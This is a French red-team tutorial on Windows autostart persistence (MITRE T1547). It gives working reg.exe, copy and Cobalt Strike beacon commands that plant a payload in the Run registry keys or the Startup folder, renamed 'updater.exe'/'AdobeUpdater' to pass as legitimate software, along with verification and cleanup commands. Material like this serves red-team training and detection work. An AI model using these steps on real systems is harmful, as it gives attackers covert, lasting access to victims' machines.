Skip to content

L'exécution automatique au démarrage ou à l'ouverture de session est une famille de techniques, référencée par MITRE ATT&CK sous l'identifiant T1547, où un attaquant configure le système pour exécuter automatiquement une charge utile (payload) lors du démarrage de la machine ou de la connexion d'un utilisateur.

Technique 1 : Clés de Registre "Run" / "RunOnce"

Principe

La base de registre Windows contient de nombreuses clés qui permettent à des programmes de se lancer automatiquement à l'ouverture de session. Elles sont utilisées de manière légitime par Windows et des applications tierces. Un attaquant peut simplement y ajouter une entrée pour établir sa persistance.

Les clés les plus communes sont :

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run: Pour l'utilisateur courant. L'entrée est persistante et s'exécute à chaque connexion.

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce: Pour l'utilisateur courant. L'entrée est supprimée après sa première exécution.

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run: Pour tous les utilisateurs. L'entrée est persistante et nécessite des privilèges élevés pour être modifiée.

Implémentation

L'exemple ci-dessous utilise des commandes natives de Windows (reg.exe) qui peuvent être exécutées depuis cmd.exe ou powershell.exe.

# 1. Naviguer vers un répertoire où déposer le payload (ex: %TEMP%)
cd %TEMP%

# 2. Déposer le payload (ici, on simule en créant un fichier)
copy C:\chemin\vers\mon\payload.exe updater.exe

# 3. Ajouter la clé de registre pour l'utilisateur courant (HKCU)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater" /t REG_SZ /d "C:\Users\MonUser\AppData\Local\Temp\updater.exe" /f

**Exemple avec un C2 (type Cobalt Strike) :

// Se déplacer dans un répertoire discret
beacon> cd C:\Users\pchilds\AppData\Local\Microsoft\WindowsApps

// Téléverser le payload depuis la machine de l'attaquant
beacon> upload C:\Payloads\http_x64.exe

// Renommer le payload pour qu'il paraisse légitime
beacon> mv http_x64.exe updater.exe

// Créer la valeur dans la clé de registre Run. Le type REG_EXPAND_SZ permet d'utiliser des variables d'environnement.
beacon> reg_set HKCU Software\Microsoft\Windows\CurrentVersion\Run Updater REG_EXPAND_SZ %LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe

Vérification & Nettoyage

# Pour vérifier que la clé a bien été ajoutée
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater"

# Pour supprimer la persistance
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AdobeUpdater" /f

Technique 2 : Dossier de Démarrage (Startup Folder)

Principe

Une méthode simple et ancienne consiste à placer un exécutable ou un raccourci (.LNK) dans le dossier "Démarrage" de l'utilisateur. Tout ce qui s'y trouve est exécuté à l'ouverture de la session.

  • Chemin pour l'utilisateur courant : %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

  • Chemin pour tous les utilisateurs (nécessite des privilèges élevés) : C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Implémentation (Red Team)

# 1. Déposer le payload directement dans le dossier de démarrage
copy C:\chemin\vers\mon\payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"

Exemple avec un C2 :

// Se déplacer dans le dossier de démarrage de l'utilisateur
beacon> cd "C:\Users\pchilds\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

// Téléverser et renommer le payload
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe

Nettoyage

# Supprimer simplement le fichier
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"